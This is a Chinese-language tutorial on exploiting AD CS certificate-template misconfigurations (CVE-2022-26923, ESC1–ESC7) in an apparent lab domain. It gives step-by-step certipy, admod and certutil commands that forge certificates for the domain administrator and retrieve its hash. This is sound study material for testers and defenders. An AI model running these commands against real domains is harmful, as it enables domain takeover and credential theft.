系统默认配置的证书模板中,只有机器模板出现了漏洞,也就是 CVE-2022-26923,此漏洞允许我们控制申请到的证书的 Subject Alternative Name(SAN,主题备用名称扩展)值,导致此证书可以代表其他用户进行 PKINIT kerberos 身份验证。
生产场景中,也可能出现人为配置的证书模板,人为配置的模板也可能会出现漏洞,这些由模板配置错误而产生的漏洞都归类到了 ESC 系列,ESC 系列有 11 种存在漏洞的模板。
ESC1:证书模板允许请求用户在 CSR 指定 SAN
ESC1 和 CVE-2022-26923 比较相似,只不过 ESC1 是直接通过编辑 CSR 中的 SAN 值,而 CVE-2022-26923 是通过修改机器用户的 dNSHostName 属性来控制 SAN 值。
存在 ESC1 的模板属性存在 4 个如下条件:
-
扩展选项中包含客户端认证,以支持 PKINIT kerberos 认证。
-
安全选项中给域用户注册权限。
-
使用者名称被设置为在请求中提供。
-
证书模板未设置批准程序,以确保注册证书不会被挂起来等待管理员批准。
当使用请求到的证书进行 PKINIT kerberos 身份验证时,kdc 将 SAN 指定的 UPN 映射到目标用户,并返回目标用户的 tgt 和 st。
漏洞利用
-
查找存在漏洞的证书模板。
# 查找存在漏洞的证书模板,certipy 将有漏洞的证书记录在 txt 文件下。 certipy find -vulnerable -u deandean@HACK.com -p p-0p-0p-0 -dc-ip 192.168.72.21 -target-ip 192.168.72.21
-
申请 ESC1 模板证书,并指定 SAN 为管理员。
# 提供 deandean 用户账号密码,修改 SAN 为 HACK\administrator,申请证书。 certipy req -u deandean@HACK.com -p p-0p-0p-0 -dc-ip 192.168.72.21 -target-ip 192.168.72.21 -ca HACK-DC01-CA -template ESC1 -upn administrator@HACK.com # 认证获得 administrator 的 hash certipy auth -pfx administrator.pfx -dc-ip 192.168.72.21
ESC2:证书模板定义的 EKU 类型为“任何目的”或“无”
存在 ESC2 的模板属性存在如下条件:
-
安全选项中给域用户注册权限。
-
证书模板未设置批准程序,以确保注册证书不会被挂起来等待管理员批准。
-
证书模板定义了 “任何目的” 类型的 EKU 或 “无” 类型的 EKU。
-
“任何目的” 类型:此 EKU 指证书可以用于任何目的。
-
“无” 类型:此 EKU 指该证书没有 EKU,相当于从属 CA 的证书。
-
漏洞利用
-
查找存在漏洞的证书模板。
# 查找存在漏洞的证书模板,certipy 将有漏洞的证书记录在 txt 文件下。 certipy find -vulnerable -u deandean@HACK.com -p p-0p-0p-0 -dc-ip 192.168.72.21 -target-ip 192.168.72.21
-
使用 ESC2 证书给自己颁发 administrator 证书。
# 申请 ESC2 证书 certipy req -u deandean@HACK.com -p p-0p-0p-0 -dc-ip 192.168.72.21 -target-ip 192.168.72.21 -ca HACK-DC01-CA -template ESC2 # 使用 ESC2 证书作为从属 CA 证书,为我们颁发 administrator 证书。 certipy req -u deandean@HACK.com -p p-0p-0p-0 -dc-ip 192.168.72.21 -target-ip 192.168.72.21 -ca HACK-DC01-CA -template User -on-behalf-of "HACK\administrator" -pfx deandean.pfx # 认证获得 administrator 的 hash certipy auth -pfx administrator.pfx -dc-ip 192.168.72.21 -debug
ESC3:滥用 ”证书代理申请“ 的EKU
证书代理申请 EKU 允许一个用户或实体(代理)代表另一个用户提交证书请求。这种设置通常用于需要跨用户申请证书的场景,例如在某些自动化流程或委派场景下,管理员或服务账户可以代表普通用户申请证书。配置的话不多说,1.用户能申请。2.有证书代理申请的扩展。
漏洞利用
-
查找存在漏洞的证书模板。
# 查找存在漏洞的证书模板,certipy 将有漏洞的证书记录在 txt 文件下。 certipy find -vulnerable -u deandean@HACK.com -p p-0p-0p-0 -dc-ip 192.168.72.21 -target-ip 192.168.72.21
-
使用 ESC3 代理申请 administrator 证书。
# 申请 ESC3 模板的证书 certipy req -u deandean@HACK.com -p p-0p-0p-0 -dc-ip 192.168.72.21 -target-ip 192.168.72.21 -ca HACK-DC01-CA -template ESC3 # 以 ESC3 模板的证书为 administrator 用户申请证书 certipy req -u deandean@HACK.com -p p-0p-0p-0 -dc-ip 192.168.72.21 -target-ip 192.168.72.21 -ca HACK-DC01-CA -template User -on-behalf-of "HACK\administrator" -pfx deandean.pfx # 认证获得 administrator 的 hash certipy auth -pfx administrator.pfx -dc-ip 192.168.72.21 -debug
ESC4:普通用户能修改证书模板
普通用户将此证书模板修改为其他能攻击的证书模板,如:ESC1,然后使用 ESC1 的思路进行漏洞利用。
漏洞利用
-
通过 AdMod 在模板对象的 mspki-certificate-name-flag 属性中启用 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT 标志,以启用使用者名称在请求中提供的设置
admod -b "CN=ESC4,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=HACK,DC=com" "msPKI-Certificate-Name-Flag::1"
-
ESC1 漏洞利用手法。
ESC5:其他攻击手段
范围较广。
-
CA 服务器的 AD 计算机对象(即通过 S4U2Self 或 S4U2Proxy 进行攻击) 。
-
CA服务器的 RPC/DCOM 服务器 。
-
容器中的任何子 AD 对象或容器 CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=例如, 证书模板容器、证书颁发机构容器、 NTAuthCertificates 对象、注册服务容器等)。
ESC6:CA启用 EDITF_ATTRIBUTESUBJECTALTNAME2 标志
效果与 ESC1 类似,这个标志允许请求者在所有证书上指定任意 SAN,而不管证书模板的配置。
启用此标志流程:
-
ADCS 服务器上执行以下命令并重启 CertSvc 服务(这将在注册表项\CA_NAME>\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy 的 EditFlags 键中设置 EDITF_ATTRIBUTESUBJECTALTNAME2 值)
#设置 certutil -config "DC01.HACK.com\HACK-DC01-CA" -setreg "policy\EditFlags" +EDITF_ATTRIBUTESUBJECTALTNAME2 #删除 certutil -config "DC01.HACK.com\HACK-DC01-CA" -setreg "policy\EditFlags" -EDITF_ATTRIBUTESUBJECTALTNAME2
2. 查看此标志是否启用
certutil -config "DC01.HACK.com\HACK-DC01-CA" -getreg "policy\EditFlags"
3. 漏洞利用(和 ESC1 一样)。
ESC7:攻击者提权到了 CA 管理员
-
CA 管理员具有 “管理 CA” 的权限,可以启用任意的证书模板。
-
证书管理员具有 ”颁发和管理证书“ 的权限,可以针对任意的证书请求进行允许或拒绝。
漏洞利用:
-
以 CA 管理员权限启用 子从属 CA 的证书模板,此模板如果对外开放将造成 ESC2 和 ESC3 攻击。
-
以证书管理员权限针对普通域用户申请的注册进行允许(默认域用户申请 子从属 CA 证书模板 不被允许)
# 现在 deandean 是 CA 管理员 # 将 deandean 添加到证书管理员以允许管理证书 certipy ca -u deandean@HACK.com -p p-0p-0p-0 -dc-ip 192.168.72.21 -target-ip 192.168.72.21 -ca HACK-DC01-CA -add-officer deandean # 启用子从属 CA 的证书模板 certipy ca -u deandean@HACK.com -p p-0p-0p-0 -dc-ip 192.168.72.21 -target-ip 192.168.72.21 -ca HACK-DC01-CA -enable-template SubCA # 申请 SubCA 模板证书 certipy req -u deandean@HACK.com -p p-0p-0p-0 -dc-ip 192.168.72.21 -target-ip 192.168.72.21 -ca HACK-DC01-CA -template SubCA # 以 SubCA 模板的证书为 administrator 用户申请证书 certipy req -u deandean@HACK.com -p p-0p-0p-0 -dc-ip 192.168.72.21 -target-ip 192.168.72.21 -ca HACK-DC01-CA -template User -on-behalf-of "HACK\administrator" -pfx deandean.pfx # 如果证书被挂起,处理挂起的证书 certipy ca -u deandean@HACK.com -p p-0p-0p-0 -dc-ip 192.168.72.21 -target-ip 192.168.72.21 -ca HACK-DC01-CA -issue-request [请求id] certipy ca -u deandean@HACK.com -p p-0p-0p-0 -dc-ip 192.168.72.21 -target-ip 192.168.72.21 -ca HACK-DC01-CA -retrieve [请求id] certipy auth -pfx administrator.pfx -dc-ip 192.168.72.21